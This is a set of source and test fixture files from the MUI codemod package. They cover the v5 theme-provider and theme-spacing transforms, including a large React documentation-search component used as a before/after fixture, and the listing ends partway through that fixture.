    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.test/core-import.expected.js",
    "content": "import { createTheme, ThemeProvider, Theme } from '@material-ui/core';\n\nfunction App() {\n  return (\n    <ThemeProvider theme={createTheme()}>\n      <div data-testid=\"foo\" />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.test/expected.js",
    "content": "import { createTheme, ThemeProvider, Theme } from '@material-ui/core/styles';\n\nfunction App() {\n  return (\n    <ThemeProvider theme={createTheme()}>\n      <div data-testid=\"foo\" />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-provider.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './theme-provider';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('theme-provider', () => {\n      it('transforms MuiThemeProvider as needed', () => {\n        const actual = transform(\n          {\n            source: read('./theme-provider.test/actual.js'),\n            path: require.resolve('./theme-provider.test/actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-provider.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./theme-provider.test/expected.js'),\n            path: require.resolve('./theme-provider.test/expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-provider.test/expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('transforms MuiThemeProvider in core import', () => {\n        const actual = transform(\n          {\n            source: read('./theme-provider.test/core-import.actual.js'),\n            path: require.resolve('./theme-provider.test/core-import.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./theme-provider.test/core-import.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.js",
    "content": "/* eslint-disable no-template-curly-in-string */\n/**\n * @param {import('jscodeshift').FileInfo} file\n */\nexport default function transformer(file) {\n  return file.source\n    .replace(\n      // handle cases like: `-${theme.spacing(1)}px`\n      /`(-?)\\${(-?)(theme\\.spacing|spacing)\\(([^{}]*)\\)}px`/gm,\n      '$3($1$2$4)',\n    )\n    .replace(\n      // handle cases like: theme.spacing(gap) + 'px'\n      /((theme\\.spacing|spacing)\\(.*\\))\\s*\\+\\s*'px'/gm,\n      '$1',\n    )\n    .replace(\n      // handle cases like: theme.spacing(gap) + \"px\"\n      /((theme\\.spacing|spacing)\\(.*\\))\\s*\\+\\s*\"px\"/gm,\n      '$1',\n    )\n    .replace(\n      // handle cases like: `calc(${theme.spacing(2)} - 1px) 0`\n      /\\${(theme\\.spacing|spacing)(\\([^)]+\\))\\s*([+-])\\s*([\\d.]+)\\s*}px/gm,\n      'calc(${$1$2} $3 $4px)',\n    )\n    .replace(\n      // handle cases like: calc(${theme.spacing(itemHorzPadding)} * 0.3)\n      /\\${(theme\\.spacing|spacing)(\\([^)]+\\))\\s*([*/])\\s*([\\d.]+)\\s*}px/gm,\n      'calc(${$1$2} $3 $4)',\n    )\n    .replace(\n      // handle common cases like:\n      // `${theme.spacing(2)}px`\n      // `${theme.spacing(2)}px ${theme.spacing(1)}px ${theme.spacing(2)}px ${theme.spacing(2)}px`\n      /(spacing\\([^)]+\\)\\})px(.)/gm,\n      '$1$2',\n    );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.test/actual.js",
    "content": "`${theme.spacing(2)}px`\n`${spacing(2)}px`\n`${theme.spacing(1/2)}px`\n`${theme.spacing(0.5)}px`\n`${theme.spacing(1/2)}px ${theme.spacing(4)}px`\ntheme.spacing(gap) + 'px'\nspacing(gap) + 'px'\ntheme.spacing(gap) + \"px\"\nspacing(gap) + \"px\"\n`calc(100% - ${spacing(itemHorzPadding * 2)}px)`\n`calc(100% - ${theme.spacing(itemHorzPadding * 2)}px)`\npadding: `${theme.spacing(2) - 1}px 0`\n`calc(100% - ${theme.spacing(itemHorzPadding) * 0.3}px)`\n`${-theme.spacing(1)}px`\n`-${theme.spacing(1)}px`\n`${theme.spacing(2)}px ${theme.spacing(1)}px ${theme.spacing(2)}px ${theme.spacing(\n  2\n)}px`\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.test/expected.js",
    "content": "theme.spacing(2)\nspacing(2)\ntheme.spacing(1/2)\ntheme.spacing(0.5)\n`${theme.spacing(1/2)} ${theme.spacing(4)}`\ntheme.spacing(gap)\nspacing(gap)\ntheme.spacing(gap)\nspacing(gap)\n`calc(100% - ${spacing(itemHorzPadding * 2)})`\n`calc(100% - ${theme.spacing(itemHorzPadding * 2)})`\npadding: `calc(${theme.spacing(2)} - 1px) 0`\n`calc(100% - calc(${theme.spacing(itemHorzPadding)} * 0.3))`\ntheme.spacing(-1)\ntheme.spacing(-1)\n`${theme.spacing(2)} ${theme.spacing(1)} ${theme.spacing(2)} ${theme.spacing(\n  2\n)}`\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.test/large-actual.js",
    "content": "import * as React from 'react';\nimport { createPortal } from 'react-dom';\nimport { pathnameToLanguage } from 'docs/src/modules/utils/helpers';\nimport * as ReactDOMServer from 'react-dom/server';\nimport PropTypes from 'prop-types';\nimport NextLink from 'next/link';\nimport { useRouter } from 'next/router';\nimport { DocSearchModal, useDocSearchKeyboardEvents } from '@docsearch/react';\nimport Chip from '@mui/material/Chip';\nimport ArticleRoundedIcon from '@mui/icons-material/ArticleRounded';\nimport ToggleOffRoundedIcon from '@mui/icons-material/ToggleOffRounded';\nimport EditRoundedIcon from '@mui/icons-material/EditRounded';\nimport HandymanRoundedIcon from '@mui/icons-material/HandymanRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport SearchIcon from '@mui/icons-material/Search';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { alpha, styled } from '@mui/material/styles';\nimport { LANGUAGES_SSR } from 'docs/config';\nimport Link from 'docs/src/modules/components/Link';\nimport { useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport useLazyCSS from 'docs/src/modules/utils/useLazyCSS';\nimport getUrlProduct from 'docs/src/modules/utils/getUrlProduct';\n\nconst SearchButton = styled('button')(({ theme }) => {\n  return {\n    minHeight: 34,\n    display: 'flex',\n    alignItems: 'center',\n    paddingLeft: `${theme.spacing(1)}px`,\n    [theme.breakpoints.only('xs')]: {\n      backgroundColor: 'transparent',\n      padding: 0,\n      minWidth: 34,\n      justifyContent: 'center',\n      '& > *:not(.MuiSvgIcon-root)': {\n        display: 'none',\n      },\n    },\n    [theme.breakpoints.up('sm')]: {\n      minWidth: 200,\n    },\n    fontFamily: theme.typography.fontFamily,\n    position: 'relative',\n    backgroundColor:\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[900] : theme.palette.grey[50],\n    color: theme.palette.text.secondary,\n    fontSize: theme.typography.pxToRem(14),\n    border: `1px solid ${\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[700] : theme.palette.grey[200]\n    }`,\n    borderRadius: 10,\n    cursor: 'pointer',\n    transitionProperty: 'all',\n    transitionDuration: '150ms',\n    '&:hover': {\n      background:\n        theme.palette.mode === 'dark'\n          ? alpha(theme.palette.primaryDark[700], 0.4)\n          : alpha(theme.palette.grey[100], 0.7),\n      borderColor:\n        theme.palette.mode === 'dark' ? theme.palette.primaryDark[600] : theme.palette.grey[300],\n    },\n  };\n});\n\nconst SearchLabel = styled('span')(({ theme }) => {\n  return {\n    marginLeft: `${theme.spacing(1)}px`,\n    marginRight: 'auto',\n  };\n});\n\nconst Shortcut = styled('div')(({ theme }) => {\n  return {\n    fontSize: theme.typography.pxToRem(12),\n    fontWeight: 700,\n    lineHeight: '20px',\n    marginLeft: `${theme.spacing(0.5)}px`,\n    border: `1px solid ${\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[500] : theme.palette.grey[200]\n    }`,\n    backgroundColor: theme.palette.mode === 'dark' ? theme.palette.primaryDark[800] : '#FFF',\n    padding: `${theme.spacing(0, 0.8)}px`,\n    borderRadius: 5,\n  };\n});\n\nconst NewStartScreen = () => {\n  const startScreenOptions = [\n    {\n      category: {\n        name: 'Getting started',\n        icon: <ArticleRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Installation', href: '/material-ui/getting-started/installation/' },\n        { name: 'Usage', href: '/material-ui/getting-started/usage/' },\n        { name: 'Learn', href: '/material-ui/getting-started/learn/' },\n      ],\n    },\n    {\n      category: {\n        name: 'Popular searches',\n        icon: <ToggleOffRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Material Icons', href: '/material-ui/material-icons/' },\n        { name: 'Text field', href: '/material-ui/react-text-field/' },\n        { name: 'Button', href: '/material-ui/react-button/' },\n      ],\n    },\n    {\n      category: {\n        name: 'Customization',\n        icon: <EditRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'How to customize', href: '/material-ui/customization/how-to-customize/' },\n        { name: 'Theming', href: '/material-ui/customization/theming/' },\n        { name: 'Default Theme', href: '/material-ui/customization/default-theme/' },\n      ],\n    },\n    {\n      category: {\n        name: 'System',\n        icon: <HandymanRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Basics', href: '/system/basics/' },\n        { name: 'Properties', href: '/system/properties/' },\n        { name: 'The sx prop', href: '/system/the-sx-prop/' },\n      ],\n    },\n  ];\n  return (\n    <div className=\"DocSearch-NewStartScreen\">\n      {startScreenOptions.map(({ category, items }) => (\n        <div key={category.name} className=\"DocSearch-NewStartScreenCategory\">\n          <div className=\"DocSearch-NewStartScreenTitle\">\n            {category.icon}\n            {category.name}\n          </div>\n          {items.map(({ name, href }) => (\n            <NextLink key={name} href={href}>\n              <a href={href} className=\"DocSearch-NewStartScreenItem\">\n                {name}\n                <KeyboardArrowRightRounded className=\"DocSearch-NewStartScreenItemIcon\" />\n              </a>\n            </NextLink>\n          ))}\n        </div>\n      ))}\n    </div>\n  );\n};\n\nfunction DocSearchHit(props) {\n  const { children, hit } = props;\n\n  function displayTag(pathname) {\n    // does not need to show product label for MUI X because they are grouped by the product name in the search\n    // i.e. Data Grid, Date Picker\n    if (!pathname.match(/^\\/(material-ui|joy-ui|base)\\//)) {\n      return null;\n    }\n    let text = '';\n    if (pathname.startsWith('/material-ui/')) {\n      text = 'Material UI';\n    }\n    if (pathname.startsWith('/joy-ui/')) {\n      text = 'Joy UI';\n    }\n    if (pathname.startsWith('/base/')) {\n      text = 'Base UI';\n    }\n    return <Chip label={text} size=\"small\" variant=\"outlined\" sx={{ mr: 1 }} />;\n  }\n\n  if (hit.pathname) {\n    return (\n      <Link\n        href={hit.pathname}\n        as={hit.as}\n        sx={{ display: 'flex !important', '& .DocSearch-Hit-Container': { flex: 1, minWidth: 0 } }}\n      >\n        {children}\n        {displayTag(hit.pathname)}\n      </Link>\n    );\n  }\n\n  // DocSearch stores the old results in its cache\n  // hit.pathname won't be defined for them.\n  return <Link href={hit.url}>{children}</Link>;\n}\n\nDocSearchHit.propTypes = {\n  children: PropTypes.node,\n  hit: PropTypes.object.isRequired,\n};\n\nexport default function AppSearch() {\n  useLazyCSS(\n    'https://cdn.jsdelivr.net/npm/@docsearch/css@3.0.0-alpha.40/dist/style.min.css',\n    '#app-search',\n  );\n  const FADE_DURATION = 100; // ms\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const searchButtonRef = React.useRef(null);\n  const [isOpen, setIsOpen] = React.useState(false);\n  const [initialQuery, setInitialQuery] = React.useState(undefined);\n  const facetFilterLanguage = LANGUAGES_SSR.includes(userLanguage)\n    ? `language:${userLanguage}`\n    : `language:en`;\n  const macOS = window.navigator.platform.toUpperCase().includes('MAC');\n  const onOpen = React.useCallback(() => {\n    setIsOpen(true);\n  }, [setIsOpen]);\n  const router = useRouter();\n  const productSpace = getUrlProduct(router.asPath);\n\n  const keyboardNavigator = {\n    navigate({ item }) {\n      const as = item.userLanguage !== 'en' ? `/${item.userLanguage}${item.as}` : item.as;\n      router.push(item.pathname, as);\n    },\n  };\n\n  const onClose = React.useCallback(() => {\n    const modal = document.querySelector('.DocSearch-Container');\n    if (modal) {\n      // fade out transition\n      modal.style.opacity = 0;\n    }\n    setIsOpen(false); // DO NOT call setIsOpen inside a timeout (it causes scroll issue).\n  }, [setIsOpen]);\n\n  const onInput = React.useCallback(\n    (event) => {\n      setIsOpen(true);\n      setInitialQuery(event.key);\n    },\n    [setIsOpen, setInitialQuery],\n  );\n\n  useDocSearchKeyboardEvents({\n    isOpen,\n    onOpen,\n    onClose,\n    onInput,\n    searchButtonRef,\n  });\n\n  React.useEffect(() => {\n    const addStartScreen = () => {\n      const dropDown = document.querySelector('.DocSearch-Dropdown');\n      const isExisting = document.querySelector('.DocSearch-NewStartScreen');\n      if (dropDown && !isExisting) {\n        dropDown.insertAdjacentHTML(\n          'beforeend',\n          ReactDOMServer.renderToStaticMarkup(<NewStartScreen />),\n        );\n      }\n    };\n    // add transition to Modal\n    if (isOpen) {\n      const modal = document.querySelector('.DocSearch-Container');\n      const searchInput = document.querySelector('.DocSearch-Input');\n      if (modal) {\n        modal.style.opacity = 1;\n        addStartScreen();\n      }\n      if (searchInput) {\n        const handleInput = (event) => {\n          const newStartScreen = document.querySelector('.DocSearch-NewStartScreen');\n          if (newStartScreen) {\n            newStartScreen.style.display = event.target.value !== '' ? 'none' : 'grid';\n          }\n        };\n        searchInput.addEventListener('input', handleInput);\n        return () => {\n          searchInput.removeEventListener('input', handleInput);\n        };\n      }\n    }\n    return () => {};\n  }, [isOpen]);\n\n  const search = `${t('algoliaSearch')}…`;\n\n  return (\n    <React.Fragment>\n      <SearchButton ref={searchButtonRef} onClick={onOpen}>\n        <SearchIcon\n          fontSize=\"small\"\n          sx={{\n            color: (theme) =>\n              theme.palette.mode === 'dark'\n                ? theme.palette.primary[300]\n                : theme.palette.primary[500],\n          }}\n        />\n        <SearchLabel>{search}</SearchLabel>\n        <Shortcut>{macOS ? '⌘' : 'Ctrl+'}K</Shortcut>\n      </SearchButton>\n      {isOpen &&\n        createPortal(\n          <DocSearchModal\n            initialQuery={initialQuery}\n            appId={'TZGZ85B9TB'}\n            apiKey={'8177dfb3e2be72b241ffb8c5abafa899'}\n            indexName=\"material-ui\"\n            searchParameters={{\n              facetFilters: ['version:master', facetFilterLanguage],\n              optionalFilters: [`product:${productSpace}`],\n              hitsPerPage: 40,\n            }}\n            placeholder={search}\n            transformItems={(items) => {\n              return items.map((item) => {\n                // `url` contains the domain\n                // but we want to link to the current domain e.g. deploy-preview-1--material-ui.netlify.app\n                const parseUrl = document.createElement('a');\n                parseUrl.href = item.url;\n\n                const { canonicalAs, canonicalPathname } = pathnameToLanguage(\n                  `${parseUrl.pathname}${parseUrl.hash}`,\n                );\n\n                return {\n                  ...item,\n                  pathname: canonicalPathname,\n                  as: canonicalAs,\n                  userLanguage,\n                };\n              });\n            }}\n            hitComponent={DocSearchHit}\n            initialScrollY={typeof window !== 'undefined' ? window.scrollY : undefined}\n            onClose={onClose}\n            navigator={keyboardNavigator}\n          />,\n          document.body,\n        )}\n      <GlobalStyles\n        styles={(theme) => ({\n          html: {\n            ':root': {\n              '--docsearch-primary-color':\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              '--docsearch-text-color': theme.palette.text.primary,\n              '--docsearch-muted-color': theme.palette.grey[600],\n              '--docsearch-searchbox-shadow': 0,\n              '--docsearch-hit-shadow': 0,\n              '--docsearch-footer-shadow': 0,\n              '--docsearch-spacing': `${theme.spacing(1.5)}px`,\n              '--docsearch-hit-active-color':\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primary[300]\n                  : theme.palette.primary[600],\n              '--docsearch-logo-color': theme.palette.grey[600],\n              '--docsearch-searchbox-focus-background': 'unset',\n              '--docsearch-footer-background': 'unset',\n              '--docsearch-modal-background': theme.palette.background.paper,\n            },\n          },\n          body: {\n            '.DocSearch-Container': {\n              transition: `opacity ${FADE_DURATION}ms`,\n              opacity: 0,\n              zIndex: theme.zIndex.tooltip + 100,\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? alpha(theme.palette.grey[900], 0.7)\n                  : alpha(theme.palette.grey[600], 0.2),\n              backdropFilter: 'blur(4px)',\n            },\n            '& .DocSearch-StartScreen': {\n              display: 'none',\n            },\n            '& .DocSearch-NewStartScreen': {\n              display: 'grid',\n              gridTemplateColumns: 'repeat(2, 1fr)',\n              gap: `${theme.spacing(2)}px`,\n              padding: `${theme.spacing(2, 1)}px`,\n            },\n            '& .DocSearch-NewStartScreenCategory': {\n              display: 'flex',\n              flexDirection: 'column',\n            },\n            '& .DocSearch-NewStartScreenTitle': {\n              display: 'flex',\n              alignItems: 'center',\n              padding: `${theme.spacing(1, 1)}px`,\n              fontSize: theme.typography.pxToRem(14),\n              color: theme.palette.text.secondary,\n            },\n            '& .DocSearch-NewStartScreenTitleIcon': {\n              color:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              marginRight: `${theme.spacing(1.5)}px`,\n              fontSize: theme.typography.pxToRem(16),\n            },\n            '& .DocSearch-NewStartScreenItem': {\n              display: 'flex',\n              alignItems: 'center',\n              cursor: 'pointer',\n              width: '100%',\n              padding: `${theme.spacing(0.5, 4.6)}px`,\n              color:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[300]\n                  : theme.palette.primary[500],\n              fontWeight: 500,\n              fontSize: theme.typography.pxToRem(14),\n              '&:hover, &:focus': {\n                '.DocSearch-NewStartScreenItemIcon': {\n                  marginLeft: `${theme.spacing(1)}px`,\n                },\n              },\n            },\n            '& .DocSearch-NewStartScreenItemIcon': {\n              marginLeft: `${theme.spacing(0.5)}px`,\n              transition: 'margin 0.2s',\n              fontSize: theme.typography.pxToRem(16),\n            },\n            '& .DocSearch-Modal': {\n              maxWidth: '700px',\n              boxShadow: `0px 4px 20px ${\n                theme.palette.mode === 'dark'\n                  ? alpha(theme.palette.background.paper, 0.7)\n                  : alpha(theme.palette.grey[700], 0.2)\n              }`,\n              ...(theme.palette.mode === 'dark' && {\n                border: '1px solid',\n                borderColor: theme.palette.primaryDark[700],\n              }),\n              // docsearch.css: <= 750px will be full screen modal\n              borderRadius: `clamp(0px, (100vw - 750px) * 9999, ${theme.shape.borderRadius}px)`,\n            },\n            '& .DocSearch-SearchBar': {\n              borderBottom: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[200],\n              padding: `${theme.spacing(1)}px`,\n            },\n            '& .DocSearch-Form': {\n              '& .DocSearch-Reset': {\n                display: 'none',\n              },\n              '& .DocSearch-Input': {\n                paddingLeft: `${theme.spacing(2.5)}px`,\n              },\n              '& .DocSearch-Search-Icon': {\n                width: '20px',\n                height: '20px',\n              },\n            },\n            '& .DocSearch-Cancel': {\n              display: 'block',\n              alignSelf: 'center',\n              height: '1.5rem',\n              marginRight: `${theme.spacing(1)}px`,\n              padding: `${theme.spacing(0.3, 0.8, 0.6, 0.8)}px`,\n              fontSize: 0,\n              borderRadius: 5,\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[800]\n                  : theme.palette.grey[50],\n              border: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[600]\n                  : theme.palette.grey[300],\n              '&::before': {\n                content: '\"esc\"',\n                fontSize: theme.typography.pxToRem(12),\n                letterSpacing: '.08rem',\n                fontWeight: 700,\n                color: theme.palette.text.secondary,\n              },\n            },\n            '& .DocSearch-Dropdown': {\n              minHeight: 384, // = StartScreen height, to prevent layout shift when first char\n              '&::-webkit-scrollbar-thumb': {\n                borderColor:\n                  theme.palette.mode === 'dark'\n                    ? theme.palette.primaryDark[900]\n                    : theme.palette.background.paper,\n                backgroundColor:\n                  theme.palette.mode === 'dark'\n                    ? theme.palette.primaryDark[700]\n                    : theme.palette.grey[500],\n              },\n              '&::-webkit-scrollbar-track': {\n                backgroundColor: theme.palette.background.paper,\n              },\n            },\n            '& .DocSearch-Dropdown-Container': {\n              '& .DocSearch-Hits:first-of-type': {\n                '& .DocSearch-Hit-source': {\n                  paddingTop: `${theme.spacing(1)}px`,\n                },\n              },\n            },\n            '& .DocSearch-Hit-source': {\n              top: 'initial',\n              paddingTop: `${theme.spacing(2)}px`,\n              background: theme.palette.background.paper,\n              fontSize: theme.typography.pxToRem(13),\n              fontWeight: 500,\n              color: theme.palette.text.secondary,\n            },\n            '& .DocSearch-Hit': {\n              paddingBottom: 0,\n              '&:not(:first-of-type)': {\n                marginTop: -1,\n              },\n            },\n            '& .DocSearch-Hit a': {\n              backgroundColor: 'transparent',\n              padding: `${theme.spacing(0.25, 0)}px`,\n              paddingLeft: `${theme.spacing(2)}px`,\n              border: '1px solid transparent',\n              borderBottomColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[100],\n            },\n            '& .DocSearch-Hit-content-wrapper': {\n              paddingLeft: `${theme.spacing(2)}px`,\n            },\n            '& .DocSearch-Hit-title': {\n              fontSize: theme.typography.pxToRem(14),\n              color: `${theme.palette.text.primary}`,\n            },\n            '& .DocSearch-Hit-path': {\n              fontSize: theme.typography.pxToRem(12),\n              color: `${theme.palette.text.secondary}`,\n            },\n            '& .DocSearch-Hit-Select-Icon': {\n              height: '15px',\n              width: '15px',\n            },\n            '& .DocSearch-Hit[aria-selected=\"true\"] a': {\n              backgroundColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[800]\n                  : theme.palette.primary[50],\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[400]\n                  : theme.palette.primary[500],\n              borderRadius: theme.shape.borderRadius,\n            },\n            '& .DocSearch-Hit-action, & .DocSearch-Hits mark': {\n              color: `${\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primary[400]\n                  : theme.palette.primary[500]\n              }`,\n            },\n            '& .DocSearch-Footer': {\n              borderTop: '1px solid',\n              borderColor:\n                theme.palette.mode === 'dark'\n                  ? theme.palette.primaryDark[700]\n                  : theme.palette.grey[200],\n              '& .DocSearch-Commands': {\n                display: 'none',\n              },\n            },\n          },\n        })}\n      />\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/theme-spacing.test/large-expected.js",
    "content": "import * as React from 'react';\nimport { createPortal } from 'react-dom';\nimport { pathnameToLanguage } from 'docs/src/modules/utils/helpers';\nimport * as ReactDOMServer from 'react-dom/server';\nimport PropTypes from 'prop-types';\nimport NextLink from 'next/link';\nimport { useRouter } from 'next/router';\nimport { DocSearchModal, useDocSearchKeyboardEvents } from '@docsearch/react';\nimport Chip from '@mui/material/Chip';\nimport ArticleRoundedIcon from '@mui/icons-material/ArticleRounded';\nimport ToggleOffRoundedIcon from '@mui/icons-material/ToggleOffRounded';\nimport EditRoundedIcon from '@mui/icons-material/EditRounded';\nimport HandymanRoundedIcon from '@mui/icons-material/HandymanRounded';\nimport KeyboardArrowRightRounded from '@mui/icons-material/KeyboardArrowRightRounded';\nimport SearchIcon from '@mui/icons-material/Search';\nimport GlobalStyles from '@mui/material/GlobalStyles';\nimport { alpha, styled } from '@mui/material/styles';\nimport { LANGUAGES_SSR } from 'docs/config';\nimport Link from 'docs/src/modules/components/Link';\nimport { useTranslate, useUserLanguage } from '@mui/docs/i18n';\nimport useLazyCSS from 'docs/src/modules/utils/useLazyCSS';\nimport getUrlProduct from 'docs/src/modules/utils/getUrlProduct';\n\nconst SearchButton = styled('button')(({ theme }) => {\n  return {\n    minHeight: 34,\n    display: 'flex',\n    alignItems: 'center',\n    paddingLeft: theme.spacing(1),\n    [theme.breakpoints.only('xs')]: {\n      backgroundColor: 'transparent',\n      padding: 0,\n      minWidth: 34,\n      justifyContent: 'center',\n      '& > *:not(.MuiSvgIcon-root)': {\n        display: 'none',\n      },\n    },\n    [theme.breakpoints.up('sm')]: {\n      minWidth: 200,\n    },\n    fontFamily: theme.typography.fontFamily,\n    position: 'relative',\n    backgroundColor:\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[900] : theme.palette.grey[50],\n    color: theme.palette.text.secondary,\n    fontSize: theme.typography.pxToRem(14),\n    border: `1px solid ${\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[700] : theme.palette.grey[200]\n    }`,\n    borderRadius: 10,\n    cursor: 'pointer',\n    transitionProperty: 'all',\n    transitionDuration: '150ms',\n    '&:hover': {\n      background:\n        theme.palette.mode === 'dark'\n          ? alpha(theme.palette.primaryDark[700], 0.4)\n          : alpha(theme.palette.grey[100], 0.7),\n      borderColor:\n        theme.palette.mode === 'dark' ? theme.palette.primaryDark[600] : theme.palette.grey[300],\n    },\n  };\n});\n\nconst SearchLabel = styled('span')(({ theme }) => {\n  return {\n    marginLeft: theme.spacing(1),\n    marginRight: 'auto',\n  };\n});\n\nconst Shortcut = styled('div')(({ theme }) => {\n  return {\n    fontSize: theme.typography.pxToRem(12),\n    fontWeight: 700,\n    lineHeight: '20px',\n    marginLeft: theme.spacing(0.5),\n    border: `1px solid ${\n      theme.palette.mode === 'dark' ? theme.palette.primaryDark[500] : theme.palette.grey[200]\n    }`,\n    backgroundColor: theme.palette.mode === 'dark' ? theme.palette.primaryDark[800] : '#FFF',\n    padding: theme.spacing(0, 0.8),\n    borderRadius: 5,\n  };\n});\n\nconst NewStartScreen = () => {\n  const startScreenOptions = [\n    {\n      category: {\n        name: 'Getting started',\n        icon: <ArticleRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Installation', href: '/material-ui/getting-started/installation/' },\n        { name: 'Usage', href: '/material-ui/getting-started/usage/' },\n        { name: 'Learn', href: '/material-ui/getting-started/learn/' },\n      ],\n    },\n    {\n      category: {\n        name: 'Popular searches',\n        icon: <ToggleOffRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Material Icons', href: '/material-ui/material-icons/' },\n        { name: 'Text field', href: '/material-ui/react-text-field/' },\n        { name: 'Button', href: '/material-ui/react-button/' },\n      ],\n    },\n    {\n      category: {\n        name: 'Customization',\n        icon: <EditRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'How to customize', href: '/material-ui/customization/how-to-customize/' },\n        { name: 'Theming', href: '/material-ui/customization/theming/' },\n        { name: 'Default Theme', href: '/material-ui/customization/default-theme/' },\n      ],\n    },\n    {\n      category: {\n        name: 'System',\n        icon: <HandymanRoundedIcon className=\"DocSearch-NewStartScreenTitleIcon\" />,\n      },\n      items: [\n        { name: 'Basics', href: '/system/basics/' },\n        { name: 'Properties', href: '/system/properties/' },\n        { name: 'The sx prop', href: '/system/the-sx-prop/' },\n      ],\n    },\n  ];\n  return (\n    <div className=\"DocSearch-NewStartScreen\">\n      {startScreenOptions.map(({ category, items }) => (\n        <div key={category.name} className=\"DocSearch-NewStartScreenCategory\">\n          <div className=\"DocSearch-NewStartScreenTitle\">\n            {category.icon}\n            {category.name}\n          </div>\n          {items.map(({ name, href }) => (\n            <NextLink key={name} href={href}>\n              <a href={href} className=\"DocSearch-NewStartScreenItem\">\n                {name}\n                <KeyboardArrowRightRounded className=\"DocSearch-NewStartScreenItemIcon\" />\n              </a>\n            </NextLink>\n          ))}\n        </div>\n      ))}\n    </div>\n  );\n};\n\nfunction DocSearchHit(props) {\n  const { children, hit } = props;\n\n  function displayTag(pathname) {\n    // does not need to show product label for MUI X because they are grouped by the product name in the search\n    // i.e. Data Grid, Date Picker\n    if (!pathname.match(/^\\/(material-ui|joy-ui|base)\\//)) {\n      return null;\n    }\n    let text = '';\n    if (pathname.startsWith('/material-ui/')) {\n      text = 'Material UI';\n    }\n    if (pathname.startsWith('/joy-ui/')) {\n      text = 'Joy UI';\n    }\n    if (pathname.startsWith('/base/')) {\n      text = 'Base UI';\n    }\n    return <Chip label={text} size=\"small\" variant=\"outlined\" sx={{ mr: 1 }} />;\n  }\n\n  if (hit.pathname) {\n    return (\n      <Link\n        href={hit.pathname}\n        as={hit.as}\n        sx={{ display: 'flex !important', '& .DocSearch-Hit-Container': { flex: 1, minWidth: 0 } }}\n      >\n        {children}\n        {displayTag(hit.pathname)}\n      </Link>\n    );\n  }\n\n  // DocSearch stores the old results in its cache\n  // hit.pathname won't be defined for them.\n  return <Link href={hit.url}>{children}</Link>;\n}\n\nDocSearchHit.propTypes = {\n  children: PropTypes.node,\n  hit: PropTypes.object.isRequired,\n};\n\nexport default function AppSearch() {\n  useLazyCSS(\n    'https://cdn.jsdelivr.net/npm/@docsearch/css@3.0.0-alpha.40/dist/style.min.css',\n    '#app-search',\n  );\n  const FADE_DURATION = 100; // ms\n  const t = useTranslate();\n  const userLanguage = useUserLanguage();\n  const searchButtonRef = React.useRef(null);\n  const [isOpen, setIsOpen] = React.useState(false);\n  const [initialQuery, setInitialQuery] = React.useState(undefined);\n  const facetFilterLanguage = LANGUAGES_SSR.includes(userLanguage)\n    ? `language:${userLanguage}`\n    : `language:en`;\n  const macOS = window.navigator.platform.toUpperCase().includes('MAC');\n  const 